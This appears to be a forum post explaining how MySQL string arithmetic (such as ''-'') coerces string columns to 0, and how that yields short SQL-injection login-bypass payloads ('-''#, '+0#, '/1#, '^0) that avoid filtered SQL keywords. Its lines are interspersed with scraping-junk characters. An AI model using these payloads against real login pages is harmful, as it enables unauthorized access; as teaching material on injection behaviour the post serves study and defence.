找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2202|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
* S! M2 i' s- ~9 p: c有以下表结构: * C# |9 [: b- x: `6 F/ c/ f/ e9 ~
% _/ H! r' @5 h& w1 s; Y
mysql> desc admin;
# ^2 f' l2 O- p5 V$ S- b+----------+--------------+------+-----+---------+----------------+% j& N3 L. T# k: R4 {* G5 O. j
| Field    | Type         | Null | Key | Default | Extra          |
# K5 `# Q( z3 J' v6 v' G3 ^+----------+--------------+------+-----+---------+----------------+
2 Y1 f5 R! G+ a5 I& q' q6 a- A| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
- L! g& g2 [# T! I3 N0 N. F( V9 }7 v| name     | char(32)     | NO   | UNI | NULL    |                |* E0 v- r# P: f) x* w
| password | char(32)     | NO   | UNI | NULL    |                |
6 c: l- b# g, q1 w. q+----------+--------------+------+-----+---------+----------------+' }: t6 ]7 r) @4 f) ~- ~
3 rows in set (0.00 sec)- v% f+ w5 r, Y  M) I
执行select * from admin;,成功返回所有记录内容。4 T/ {% _5 `0 d& k, K$ D

9 q* B' a6 |* L! S  |9 _6 F
7 e9 w% _* h) y! ~+----+--------+----------------------------------+
7 S& G; d6 h/ C+ V| id | name   | password                         |
5 e7 j7 E% D) Y7 L# o+----+--------+----------------------------------+( G7 L* e( g& L% \% b+ }/ Y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
8 ~% [1 v) J6 Q  a|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" u& k1 s7 R1 A
|  4 | n00b   | ff80e8508d39047460921792273533a4 |- X8 }5 L( G, T
+----+--------+----------------------------------+) a3 l9 H1 P. \+ t' t3 q
3 rows in set (0.00 sec): d, S6 @+ Q* q" I8 k' N" s
执行select * from admin where name=”;,没有匹配到任何记录。 1 ?+ G8 N  I# g

9 m# Y+ p3 ^( }0 mmysql> select * from admin where name = '';( e, G4 |0 {* ]0 S' O: Z5 s9 ~% V0 N0 {, {
Empty set (0.00 sec)& `( x2 s" C8 |3 d
那么我们来执行select * from admin where name = ”-”;5 G, c5 D/ X" N. `, l  i% D0 @

* D1 l2 ]/ i( L9 l  R/ L" O% [# w+ ]# w6 ]# w3 F
+----+--------+----------------------------------+
: ~* A% [4 W, T- u  I: N* v| id | name   | password                         |/ U1 E/ W+ @* i3 u+ `
+----+--------+----------------------------------+
* E9 b& r" I, A! |4 i8 u3 Z|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
+ r; s) i+ L7 }% r0 M7 |$ {|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |0 O) p% c" S4 M7 z- }
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
7 S: ~- m. K* N" U5 p5 t0 @  T- ]4 e8 l+----+--------+----------------------------------+8 b5 q/ |8 R$ i3 t* J
3 rows in set, 3 warnings (0.00 sec)# c/ R% b# F' B. u4 `
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
! L. O: n' |3 [# b5 o" u0 i5 t$ V; u2 u7 X6 z2 M
mysql> show warnings;1 c9 N0 y8 f' K# O1 v
+---------+------+------------------------------------------
+ g3 O( o6 \/ X% m| Level   | Code | Message
/ E7 _  B2 o3 |9 l1 y" U+---------+------+------------------------------------------
5 ?  R' ?, q1 C/ d4 @0 w' z| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin4 Z, n! l; ?9 D$ b) S
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s5 |1 @  V6 [( Z; s4 o$ ?
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
( f) V; W) X- o- [$ G$ U& B! `+---------+------+------------------------------------------6 F9 b9 V$ b6 @3 S# W( Y
3 rows in set (0.00 sec)
- V& i+ s5 V6 P+ i2 U+ g# n提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 & Q- x& G/ Y8 P  {) ?0 h0 Y( }
& t$ B5 h* n+ C! C' K4 N
mysql> select ''-'';
: I$ [, F9 E' `, o+-------+
; ]( G, h+ i- F6 k| ''-'' |$ j1 F# q6 q/ d; O  U% {
+-------+# {- ^  b/ g; y# P
|     0 |2 X- L/ e" ^2 j# B, M
+-------+
9 H  u0 w" F9 v, q/ d: Q" H9 B1 row in set (0.00 sec)/ \8 q( N; A6 x% a5 Z
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
7 l9 C/ f% c3 c; ^) u' m6 Z( A  N# a& m' J! E
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);1 a; o' j2 u; j( `
+-----------------------------------------------------+
4 @/ v& Q! v! a  W| CAST((select name from admin limit 1,1) as DECIMAL) |
" H6 R7 P# [( z7 U4 K4 s7 f* B+-----------------------------------------------------+5 y. Q! w5 P! O
|                                                   0 |
# y8 Q) r0 A1 V5 Y0 U$ u+-----------------------------------------------------+
; Z* b) u, F- n0 v! t1 row in set, 1 warning (0.00 sec)
- J4 {& \: y3 w, \因此where语句构成了相等的条件,where 0=”=”,记录被返回。
& r* C1 y8 P. X  y
: c( Z3 M7 S5 l9 F, G- B( nSQL注入场景: http://www.sqlzoo.net/hack/ + d" _  d% s$ r; _

( G, H. Q3 \6 b* R6 R/ {0 A
& g/ V. j  N/ X1 g" X' i* ^2 n: U: V1 m
/ N. V8 a4 V- S8 k: h
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; o( g) J% p& T

9 T3 R9 T- L! K- x7 B1 y那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
5 d" b. H! _  i" W; s% Q$ [
) N7 x! ?$ K0 f: q
$ X+ B* s8 D8 u) o! W* X+ M4 s1 P# h$ h3 e. h
* _& \7 k; j/ o/ t4 u+ `, C- |# `) {
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
' K3 n8 x! m" `9 t4 q% b
' F, j2 F2 c- }! c" K3 p   
: Y% E9 @( k' V) I' o
) Q! d7 v. z! k' D! ^1 C; x$ ]除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
/ \/ T+ p1 p$ p6 g  S0 T6 j) ^+ w5 ^9 y

- S! l5 x- U4 h( j1 q" e9 b4 Dmysql> select ''/1;
' a$ P. `: H7 B. i6 P$ _* ^+------+) @+ L' l4 ]( T+ b& V
| ''/1 |& Z5 W( e* r. Q, J
+------+
9 O) X3 @. Q* a  Q5 A) U|    0 |! E1 O4 }- u/ ^# S" t$ _
+------+( Q! y* w3 R! e3 u6 r
1 row in set (0.00 sec)& @: ~/ Y" N: v+ s4 i
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  ( V- m1 I# X8 f7 O

" Q% A! _% y+ R0 ~( h/ p利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
+ Z' e2 E4 u/ a' ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表